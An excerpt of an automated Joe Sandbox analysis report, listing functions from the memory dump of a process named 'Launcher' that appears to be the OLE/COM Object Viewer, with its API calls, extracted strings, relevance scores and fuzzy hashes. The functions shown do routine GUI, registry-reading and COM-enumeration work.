Instruction Fuzzy Hash: 59318931A002117BEB206F75DC4EEDB7E7BEF86710F011578F9195A262CBB64505CB64

Function 0066EAE6 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 0066EAED
#338.MFC42U(0000000C,0066EAD7,00000004), ref: 0066EAF7
#540.MFC42U(0000000C,0066EAD7,00000004), ref: 0066EB0B
#860.MFC42U(0066349E,0000000C,0066EAD7,00000004), ref: 0066EB27
#540.MFC42U ref: 0066EB36
#540.MFC42U ref: 0066EB42
#4155.MFC42U(00000004), ref: 0066EB50
#4155.MFC42U(00000008,00000004), ref: 0066EB5A
#3516.MFC42U(?,?,00000005,00000008,00000004), ref: 0066EB6E
#861.MFC42U(ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EB7E
#3516.MFC42U(?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EB8D
#861.MFC42U(ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EB9D
#3516.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EBAC
#800.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EBB7
#800.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EBBF

Strings

ViewHiddenComCats, xrefs: 0066EB73
ExpertMode, xrefs: 0066EB92
f, xrefs: 0066EB05

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #3516#540$#4155#800#861$#338#860H_prolog3
String ID: ExpertMode$ViewHiddenComCats$f
API String ID: 3415677798-2566507215
Opcode ID: 967021d4570fa40a647b66ed93b14011527a91c8d05c0d701fdc649e744a9b4e
Instruction ID: 79e2815225008259ff48d95744f1f759b1d78abb33ccc0807d4b085d3dcca823
Opcode Fuzzy Hash: 967021d4570fa40a647b66ed93b14011527a91c8d05c0d701fdc649e744a9b4e
Instruction Fuzzy Hash: C7218E70A407159BDF56EFA0C856BAEBBB3AF58700F10485CF5453B2D2DBB11A08CB66

Function 00677FF0 Relevance: 26.5, APIs: 3, Strings: 12, Instructions: 290
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00679205: SendMessageW.USER32(?,00001109,0067803D,00000000), ref: 00679220
Part of subcall function 00679205: #2857.MFC42U(00000000,?,0067803D,00000000,800E373A), ref: 00679227

#1662.MFC42U(00000000,800E373A), ref: 0067807F

Part of subcall function 0066E18B: SendMessageW.USER32(?,0000000B,?,00000000), ref: 0066E19A

CoCreateInstance.OLE32(006636E4,00000000,00000001,006636F4,00000000,00000000,800E373A), ref: 006780AB

Part of subcall function 00677F0B: SendMessageW.USER32(?,00001132,00000000,RHg), ref: 00677F1D

#2644.MFC42U(00000000), ref: 00678436

Strings

Interfaces, xrefs: 006783CC
Type Libraries, xrefs: 0067839E
All Objects, xrefs: 0067830B
Application IDs, xrefs: 00678369
OLE Controls, xrefs: 00678250
OLE 1.0 Objects, xrefs: 006782AC
g, xrefs: 00678103
OLE Embeddable Objects, xrefs: 00678222
COM Library Objects, xrefs: 006782DA
Object Classes, xrefs: 00678144
Grouped by Component Category, xrefs: 0067817B
Unclassified Objects, xrefs: 0067827E

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#1662#2644#2857CreateInstance
String ID: All Objects$Application IDs$COM Library Objects$Grouped by Component Category$Interfaces$OLE 1.0 Objects$OLE Controls$OLE Embeddable Objects$Object Classes$Type Libraries$Unclassified Objects$g
API String ID: 2376137332-450955224
Opcode ID: ce6ba8e825d051d8d05852cefdf209e2a6e60b84bf3c0c4d4a3ff617919f8b75
Instruction ID: cf95ff4b323d20175d598fad930af2381a05f5f51745f41717cdf48fc12bd23c
Opcode Fuzzy Hash: ce6ba8e825d051d8d05852cefdf209e2a6e60b84bf3c0c4d4a3ff617919f8b75
Instruction Fuzzy Hash: 39E1DFB0E11219DFDB54EFE4C89ABAEBBB2BF44304F104429E015AB3A5DBB59845CF14

Function 0066F090 Relevance: 25.6, APIs: 17, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#3867.MFC42U(?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0066F09C
#3087.MFC42U(000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0066F0B2
#2634.MFC42U(000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0066F0B9
#3087.MFC42U(000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0066F0C6
#2634.MFC42U(000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0066F0CD
#3087.MFC42U(00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0066F0DA
#2634.MFC42U(00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0066F0E1
#3087.MFC42U(0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000), ref: 0066F0EE
#2634.MFC42U(0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000,0000009C,00000000), ref: 0066F0F5
#3087.MFC42U(000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000), ref: 0066F102
#2634.MFC42U(000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001,00000001,00000000), ref: 0066F109
#3087.MFC42U(000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001), ref: 0066F116
#2634.MFC42U(000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,0066FC3A,00000001), ref: 0066F11D
#3087.MFC42U(00001FA5,00000000,000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000), ref: 0066F12A
#2634.MFC42U(00001FA5,00000000,000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000), ref: 0066F131
#3087.MFC42U(0000009C,00000000,00001FA5,00000000,000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000), ref: 0066F13E
#2634.MFC42U(0000009C,00000000,00001FA5,00000000,000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000), ref: 0066F145

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2634#3087$#3867
String ID:
API String ID: 580456896-0
Opcode ID: 3d6e10d7447dc75dbe65b80ba5dfecf1493f6ae60e2c1660f6dc3d21e91d6ed4
Instruction ID: 8d5b7f7b4f6be3135969c1d448a9e318bcab2f318e77c783dbf189b365565339
Opcode Fuzzy Hash: 3d6e10d7447dc75dbe65b80ba5dfecf1493f6ae60e2c1660f6dc3d21e91d6ed4
Instruction Fuzzy Hash: B2017120F4136022DEBA3275486BABE28574FC9B90F44C89CB10E5F2D2DD6F4909829E

Function 0066DA30 Relevance: 22.6, APIs: 15, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#4714.MFC42U ref: 0066DA47
#2078.MFC42U(00000085,?), ref: 0066DA60
#2078.MFC42U(00000087,?,00000085,?), ref: 0066DA71
#2078.MFC42U(00000088,?,00000087,?,00000085,?), ref: 0066DA84
#2078.MFC42U(0000008B,?,00000088,?,00000087,?,00000085,?), ref: 0066DA97
#2078.MFC42U(0000008E,?,0000008B,?,00000088,?,00000087,?,00000085,?), ref: 0066DAAA
GetWindowRect.USER32(?,?), ref: 0066DABE
GetWindowRect.USER32(?,?), ref: 0066DAD0

Part of subcall function 0066C8A6: ScreenToClient.USER32(?,?), ref: 0066C8B7
Part of subcall function 0066C8A6: ScreenToClient.USER32(?,?), ref: 0066C8C4
Part of subcall function 0066C8A6: #3133.MFC42U(?,?,?,0066C46E,?), ref: 0066C8CC

#6193.MFC42U(00000000,000000FF,?,?,?,0000001C,?), ref: 0066DB03
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,000000FF,?,?,?,0000001C,?), ref: 0066DB1B
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,000000FF,?,?), ref: 0066DB34
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8), ref: 0066DB48
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8), ref: 0066DB5C
#6193.MFC42U(00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8), ref: 0066DB70
#6127.MFC42U(00000001,00000001,00000001,6C9D0790,6C9D0790,00000000,00000002,00000019,000003E8,000003E8,00000000,00000000,00000002,00000019,000003E8,000003E8), ref: 0066DB84

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #6193$#2078$ClientRectScreenWindow$#3133#4714#6127
String ID:
API String ID: 1113752235-0
Opcode ID: 347bd066e4dededcd6aa69a0745f99dfeb2a641c9ebc9b0047664144c0b34d55
Instruction ID: 823a27f85cfde29065608f2c7b409ef342237cc7ed1552ca33e944e224389b00
Opcode Fuzzy Hash: 347bd066e4dededcd6aa69a0745f99dfeb2a641c9ebc9b0047664144c0b34d55
Instruction Fuzzy Hash: 95414F306402047BEB60DB55DC9BFEB3A7AEB89B54F40406CB609AE1C2DE626D08C764

Function 0067BD2A Relevance: 17.5, APIs: 4, Strings: 6, Instructions: 25
libraryloaderwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0067D4CD: GetVersionExW.KERNEL32(?), ref: 0067D4F3

LoadLibraryW.KERNEL32(ACLUI.DLL,0066B51D), ref: 0067BD38
MessageBoxW.USER32(00000000,Couldn't get address of EditSecurity ACLUI.DLL!,OLEViewer,00000000), ref: 0067BD50
exit.MSVCRT ref: 0067BD58
GetProcAddress.KERNEL32(00000000,EditSecurity), ref: 0067BD64

Strings

EditSecurity, xrefs: 0067BD5E
Couldn't load ACLUI.DLL!, xrefs: 0067BD49
OleViewer, xrefs: 0067BD44
Couldn't get address of EditSecurity ACLUI.DLL!, xrefs: 0067BD79
ACLUI.DLL, xrefs: 0067BD33
OLEViewer, xrefs: 0067BD74

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: AddressLibraryLoadMessageProcVersionexit
String ID: ACLUI.DLL$Couldn't get address of EditSecurity ACLUI.DLL!$Couldn't load ACLUI.DLL!$EditSecurity$OLEViewer$OleViewer
API String ID: 2950567464-1848169023
Opcode ID: a33deef34e0a003aab64a773cee3fc68177da0b0da55a61cedee968b6f3b17ac
Instruction ID: 5864d7cce6418cabde7398562cbb6ef2934ec62413b977a4135fa0877544f957
Opcode Fuzzy Hash: a33deef34e0a003aab64a773cee3fc68177da0b0da55a61cedee968b6f3b17ac
Instruction Fuzzy Hash: 87E0483038430276D7602760AD0BF2A2997AF08B02F057214F64EE41D0EFB1D4005719

Function 0067EE23 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32(?,006823D8,00000058), ref: 0067EE38
Sleep.KERNEL32(000003E8), ref: 0067EE6D
_amsg_exit.MSVCRT ref: 0067EE82
_initterm.MSVCRT ref: 0067EED6
__IsNonwritableInCurrentImage.LIBCMT ref: 0067EF02
exit.MSVCRT ref: 0067EF85

Strings

\>h, xrefs: 0067EEED
\>h, xrefs: 0067EE4C

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_inittermexit
String ID: \>h$\>h
API String ID: 2849151604-2792430406
Opcode ID: 0a5906dd0088c1aaebf7dc836a753f5762d8a13a3f3f8d2d3bfb3dfdc5f1fdeb
Instruction ID: 50f25e67100234b0ca9d9d7f2e6c772506947e927e48ceec7e4a066c52c948d8
Opcode Fuzzy Hash: 0a5906dd0088c1aaebf7dc836a753f5762d8a13a3f3f8d2d3bfb3dfdc5f1fdeb
Instruction Fuzzy Hash: B041F371A04321ABDB249F58E8097B977B3FB08B10F1086AAE909977D0DB7A8D45CB50

Function 00670D90 Relevance: 15.1, APIs: 10, Instructions: 74COMMON

Download Yara Rule

APIs

#5491.MFC42U ref: 00670DA3
#4451.MFC42U(?), ref: 00670DAD
#2112.MFC42U(?,50002800,0000E800,?), ref: 00670DCE
#4158.MFC42U(00000002,?,50002800,0000E800,?), ref: 00670DDF
#5867.MFC42U(?,00000002,?,50002800,0000E800,?), ref: 00670DF4
#2109.MFC42U(?,50008200,0000E801,?,00000002,?,50002800,0000E800,?), ref: 00670E0C
#5996.MFC42U(006839A0,00000001,?,50008200,0000E801,?,00000002,?,50002800,0000E800,?), ref: 00670E1E
#3477.MFC42U(00000000,?,?,?,006839A0,00000001,?,50008200,0000E801,?,00000002,?,50002800,0000E800,?), ref: 00670E37
#6063.MFC42U(00000000,00000000,?,?,00000000,?,?,?,006839A0,00000001,?,50008200,0000E801,?,00000002), ref: 00670E4E
#2550.MFC42U(00000001,00000000,00000000,?,?,00000000,?,?,?,006839A0,00000001,?,50008200,0000E801,?,00000002), ref: 00670E57

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2109#2112#2550#3477#4158#4451#5491#5867#5996#6063
String ID:
API String ID: 1972827604-0
Opcode ID: c0a949fa475647106120e2823aca50c33798991150e04515f46504957d0c244a
Instruction ID: eb028046a66da745a05873c7c4c34b87d775582b9353dc6fe02885f67867745c
Opcode Fuzzy Hash: c0a949fa475647106120e2823aca50c33798991150e04515f46504957d0c244a
Instruction Fuzzy Hash: E8110B3531021476FE5062708D46FFF769F9FC8B10F148959B61FE62C1EEA1A9098278

Function 00670CC0 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 43windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 00670CCD
SendMessageW.USER32(?,00001061,00000000,?), ref: 00670CF8
SendMessageW.USER32(?,00001061,00000001,?), ref: 00670D1C
#2634.MFC42U(00000000), ref: 00670D2A
#2634.MFC42U(00000000,00000000), ref: 00670D37

Strings

User/Group, xrefs: 00670CE3
Can Launch, xrefs: 00670D0E
j, xrefs: 00670D15

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2634MessageSend$#4704
String ID: Can Launch$User/Group$j
API String ID: 3599582684-3481516568
Opcode ID: f805a69591fe78b4756cb308d9b9c21069eba7d396e8fdf46b8b164733b2a319
Instruction ID: cdca11f9f495ab99079e05b6ace2ec873d323c5918d12c50cda288ad26401469
Opcode Fuzzy Hash: f805a69591fe78b4756cb308d9b9c21069eba7d396e8fdf46b8b164733b2a319
Instruction Fuzzy Hash: D401A2319003096FEB209FA0CC46FEFBBBAEB45714F40001DF50576290CBB25A44CBA0

Function 0067D2F7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0067D35B
lstrcatW.KERNEL32(?,006660AC), ref: 0067D376
lstrcatW.KERNEL32(?,?), ref: 0067D37E

Strings

APPID\%s, xrefs: 0067D355
AppID, xrefs: 0067D336

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: lstrcat$wsprintf
String ID: APPID\%s$AppID
API String ID: 3128662910-1823611323
Opcode ID: 4f28cbb51ea6745a279495a590a9d8f95029ded415ceb7f1992e613e53627021
Instruction ID: 618d460ba9769c2686364a62c4973289e63ae070f77dac935e506c1b6aa1979b
Opcode Fuzzy Hash: 4f28cbb51ea6745a279495a590a9d8f95029ded415ceb7f1992e613e53627021
Instruction Fuzzy Hash: 780184B1500319BBCB10EF24DC89D9B77BEEF05714F105555B915A3242DA709E488BA0

Function 006716C0 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

#2244.MFC42U(?,00000001,00000002,50000000,0000E900), ref: 006716E1
#3476.MFC42U(00000000,00000000,?,00000001,00000002,50000000,0000E900), ref: 00671744
#3476.MFC42U(00000000,00000000,00000001,00000000,00000000,?,00000001,00000002,50000000,0000E900), ref: 00671755
#5848.MFC42U(00000000,00000000,00000000,00000001,00000000,00000000,?,00000001,00000002,50000000,0000E900), ref: 0067175D
#5906.MFC42U(00000000,000000F0,00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00000001,00000002,50000000,0000E900), ref: 0067176B

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #3476$#2244#5848#5906
String ID:
API String ID: 2288433627-0
Opcode ID: 6df6323d4fc4b95d5388d03acbd6c23864c687943ad2154c0c317dab6c89a104
Instruction ID: cd849aabcd93c1e10a056b6fea86a06c6b49447b66a84772d3b15f845eeda8b3
Opcode Fuzzy Hash: 6df6323d4fc4b95d5388d03acbd6c23864c687943ad2154c0c317dab6c89a104
Instruction Fuzzy Hash: 4B1194313412117BEA6456664C59FBB7A5FDF89B60F444466BE0AEB3C1DEA19C0086A0

Function 00671536 Relevance: 7.5, APIs: 5, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0067153D
#366.MFC42U(00000004,00670D8A,00000004), ref: 00671547
#527.MFC42U(00000004,00670D8A,00000004), ref: 0067155C
#529.MFC42U(00000004,00670D8A,00000004), ref: 0067156B
#554.MFC42U(00000004,00670D8A,00000004), ref: 0067157A

Part of subcall function 006715A4: #439.MFC42U ref: 006715B0

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #366#439#527#529#554H_prolog3
String ID:
API String ID: 3098594135-0
Opcode ID: e1aa89deeaadc7e36263de9999e20dc2577105c8d74674fe9196d0e3e9464288
Instruction ID: c223322c2598c9a100f1084e44d402e7907934e081f35067857032c1511a30ce
Opcode Fuzzy Hash: e1aa89deeaadc7e36263de9999e20dc2577105c8d74674fe9196d0e3e9464288
Instruction Fuzzy Hash: 93F09070801780CBE350EBB0C1157DDBBA1AF14310F1089CDE1DE03282DB752608CB66

Function 00673D3B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 00673F53: #303.MFC42U(SysTreeView32,50800000,?,000000FF,?,00673D6D,800E373A,?,00000000,00680996,000000FF,?,00672096), ref: 00673F69

#540.MFC42U(800E373A,?,00000000,00680996,000000FF,?,00672096), ref: 00673D80
#1105.MFC42U(00675270,000000FF,00000000,00000000,00000004,00000000), ref: 00673E62

Part of subcall function 00673CFC: #543.MFC42U(00000000,?,00000000,?,00673E30), ref: 00673D0A
Part of subcall function 00673CFC: InitializeCriticalSection.KERNEL32(00000008,00000000,?,00000000,?,00673E30), ref: 00673D19

Strings

`yg, xrefs: 00673D74

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #1105#303#540#543CriticalInitializeSection
String ID: `yg
API String ID: 4030040872-2596086902
Opcode ID: 51462502252ccafc6ebb87e135281d8d4449b46af6dbcc922d830fcd5a6d179e
Instruction ID: 00bf1590fb568330debb40fb7128db63aed97648396129ed8d1cfdd8bb8837b8
Opcode Fuzzy Hash: 51462502252ccafc6ebb87e135281d8d4449b46af6dbcc922d830fcd5a6d179e
Instruction Fuzzy Hash: 8F41E271E10359DFDB01DF98C856BAEBBF1BB04715F104559E021AB3A2C3B9AA44CF58

Function 0067D6F5 Relevance: 4.5, APIs: 3, Instructions: 31registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,0067D6E4,80000000,?,?,?,?,?), ref: 0067D70D
RegQueryValueExW.ADVAPI32(?,?,00000000,?,80000000,0067D6E4,?,?,?,0067D6E4,80000000,?,?,?,?,?), ref: 0067D72C
RegCloseKey.ADVAPI32(?,?,?,?,0067D6E4,80000000,?,?,?,?,?,?,?,?), ref: 0067D738

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: ee98c94d8dfc09e5f9bcd39f0b83c58a85490358b7815deb55e4dec7add95053
Instruction ID: 82e9f5c1e926e49d44966d66daa0846dc6d10909c9e74e3e43e5b85500affc91
Opcode Fuzzy Hash: ee98c94d8dfc09e5f9bcd39f0b83c58a85490358b7815deb55e4dec7add95053
Instruction Fuzzy Hash: 68F0B27590020EFFDF128F90DD09E9E7FBAEF48344F104055FA05A6160EB71DA20AB50

Function 00677F0B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,RHg), ref: 00677F1D

Strings

RHg, xrefs: 00677F10

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend
String ID: RHg
API String ID: 3850602802-2064585274
Opcode ID: 0ab251bb9ad3b6a2ce82e79d7e35f48a08df5cca2874c90410bf950f783cdc46
Instruction ID: a45cd14174735e5358d6540f9d54cd42a72d79e7ec6c793003ab3b9c11613fa5
Opcode Fuzzy Hash: 0ab251bb9ad3b6a2ce82e79d7e35f48a08df5cca2874c90410bf950f783cdc46
Instruction Fuzzy Hash: 77C08C32080208BBE7001B41DC05FC17E2AE794721F514010F318080A08B7398219644

Function 00673A60 Relevance: 3.1, APIs: 2, Instructions: 105COMMON

Download Yara Rule

APIs

#1662.MFC42U ref: 00673ACD
#2644.MFC42U(?), ref: 00673BA6

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

